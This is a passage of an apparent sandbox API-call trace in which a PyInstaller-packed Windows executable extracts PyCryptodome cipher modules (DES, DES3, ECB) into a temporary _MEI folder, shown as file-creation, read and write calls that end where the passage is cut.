MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.426] GetFileType (hFile=0x10c) returned 0x1 [0034.426] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.426] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.426] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.426] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.426] CloseHandle (hObject=0x10c) returned 1 [0034.426] GetLastError () returned 0x0 [0034.426] SetLastError (dwErrCode=0x0) [0034.426] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd") returned 72 [0034.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_des.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.426] GetLastError () returned 0x2 [0034.426] SetLastError (dwErrCode=0x2) [0034.426] GetLastError () returned 0x2 [0034.426] SetLastError (dwErrCode=0x2) [0034.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd", lpFilePart=0x0) returned 0x47 [0034.426] GetLastError () returned 0x2 [0034.426] SetLastError (dwErrCode=0x2) [0034.426] GetLastError () returned 0x2 [0034.426] SetLastError (dwErrCode=0x2) [0034.426] GetLastError () returned 0x2 [0034.427] SetLastError (dwErrCode=0x2) [0034.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd") returned 72 [0034.427] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_des.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.427] GetFileType (hFile=0x10c) returned 0x1 [0034.427] htonl (hostlong=0xb60000) returned 0xb600 [0034.427] WriteFile (in: hFile=0x10c, lpBuffer=0x563580*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563580*, lpNumberOfBytesWritten=0x4fcd00*=0xb000, lpOverlapped=0x0) returned 1 [0034.428] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.428] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0034.429] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.429] CloseHandle (hObject=0x10c) returned 1 [0034.430] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563580 | out: hHeap=0x530000) returned 1 [0034.431] htonl (hostlong=0x30000000) returned 0x30 [0034.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.431] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.431] GetFileType (hFile=0x10c) returned 0x1 [0034.431] htonl (hostlong=0x5e8c0100) returned 0x18c5e [0034.431] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63c5e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.431] htonl (hostlong=0xc350000) returned 0x350c [0034.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x350c) returned 0x560088 [0034.431] htonl (hostlong=0xc350000) returned 0x350c [0034.431] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.432] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.432] htonl (hostlong=0xb80000) returned 0xb800 [0034.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb800) returned 0x5635a0 [0034.432] htonl (hostlong=0xc350000) returned 0x350c [0034.432] htonl (hostlong=0xb80000) returned 0xb800 [0034.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56eda8 [0034.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56eda8 | out: hHeap=0x530000) returned 1 [0034.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.433] CloseHandle (hObject=0x10c) returned 1 [0034.433] GetLastError () returned 0x0 [0034.433] SetLastError (dwErrCode=0x0) [0034.433] GetLastError () returned 0x0 [0034.433] SetLastError (dwErrCode=0x0) [0034.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.433] GetFileType (hFile=0x10c) returned 0x1 [0034.433] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.433] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.433] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.433] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.433] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.434] CloseHandle (hObject=0x10c) returned 1 [0034.434] GetLastError () returned 0x0 [0034.434] SetLastError (dwErrCode=0x0) [0034.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.434] GetFileType (hFile=0x10c) returned 0x1 [0034.434] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.434] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.434] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.434] CloseHandle (hObject=0x10c) returned 1 [0034.434] GetLastError () returned 0x0 [0034.434] SetLastError (dwErrCode=0x0) [0034.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd") returned 73 [0034.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_des3.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.434] GetLastError () returned 0x2 [0034.434] SetLastError (dwErrCode=0x2) [0034.434] GetLastError () returned 0x2 [0034.434] SetLastError (dwErrCode=0x2) [0034.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd", lpFilePart=0x0) returned 0x48 [0034.435] GetLastError () returned 0x2 [0034.435] SetLastError (dwErrCode=0x2) [0034.435] GetLastError () returned 0x2 [0034.435] SetLastError (dwErrCode=0x2) [0034.435] GetLastError () returned 0x2 [0034.435] SetLastError (dwErrCode=0x2) [0034.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd") returned 73 [0034.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_des3.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_des3.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.435] GetFileType (hFile=0x10c) returned 0x1 [0034.435] htonl (hostlong=0xb80000) returned 0xb800 [0034.435] WriteFile (in: hFile=0x10c, lpBuffer=0x5635a0*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5635a0*, lpNumberOfBytesWritten=0x4fcd00*=0xb000, lpOverlapped=0x0) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.445] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x800, lpOverlapped=0x0) returned 1 [0034.445] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.446] CloseHandle (hObject=0x10c) returned 1 [0034.447] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635a0 | out: hHeap=0x530000) returned 1 [0034.448] htonl (hostlong=0x30000000) returned 0x30 [0034.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.448] GetFileType (hFile=0x10c) returned 0x1 [0034.448] htonl (hostlong=0x6ac10100) returned 0x1c16a [0034.448] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6716a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.448] htonl (hostlong=0x290b0000) returned 0xb29 [0034.448] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb29) returned 0x55d270 [0034.448] htonl (hostlong=0x290b0000) returned 0xb29 [0034.448] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dda8 [0034.448] ReadFile (in: hFile=0x10c, lpBuffer=0x55dda8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dda8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.448] htonl (hostlong=0x180000) returned 0x1800 [0034.448] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1800) returned 0x560088 [0034.449] htonl (hostlong=0x290b0000) returned 0xb29 [0034.449] htonl (hostlong=0x180000) returned 0x1800 [0034.449] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561890 [0034.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561890 | out: hHeap=0x530000) returned 1 [0034.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.449] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dda8 | out: hHeap=0x530000) returned 1 [0034.449] CloseHandle (hObject=0x10c) returned 1 [0034.449] GetLastError () returned 0x0 [0034.449] SetLastError (dwErrCode=0x0) [0034.449] GetLastError () returned 0x0 [0034.449] SetLastError (dwErrCode=0x0) [0034.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.449] GetFileType (hFile=0x10c) returned 0x1 [0034.449] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.450] CloseHandle (hObject=0x10c) returned 1 [0034.450] GetLastError () returned 0x0 [0034.450] SetLastError (dwErrCode=0x0) [0034.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.450] GetFileType (hFile=0x10c) returned 0x1 [0034.450] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.450] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.450] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.450] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.450] CloseHandle (hObject=0x10c) returned 1 [0034.450] GetLastError () returned 0x0 [0034.450] SetLastError (dwErrCode=0x0) [0034.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd") returned 72 [0034.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ecb.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.450] GetLastError () returned 0x2 [0034.450] SetLastError (dwErrCode=0x2) [0034.450] GetLastError () returned 0x2 [0034.451] SetLastError (dwErrCode=0x2) [0034.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd", lpFilePart=0x0) returned 0x47 [0034.451] GetLastError () returned 0x2 [0034.451] SetLastError (dwErrCode=0x2) [0034.451] GetLastError () returned 0x2 [0034.451] SetLastError (dwErrCode=0x2) [0034.451] GetLastError () returned 0x2 [0034.451] SetLastError (dwErrCode=0x2) [0034.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd") returned 72 [0034.451] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ecb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ecb.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.452] GetFileType (hFile=0x10c) returned 0x1 [0034.452] htonl (hostlong=0x180000) returned 0x1800 [0034.452] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.453] WriteFile (in: hFile=0x10c, 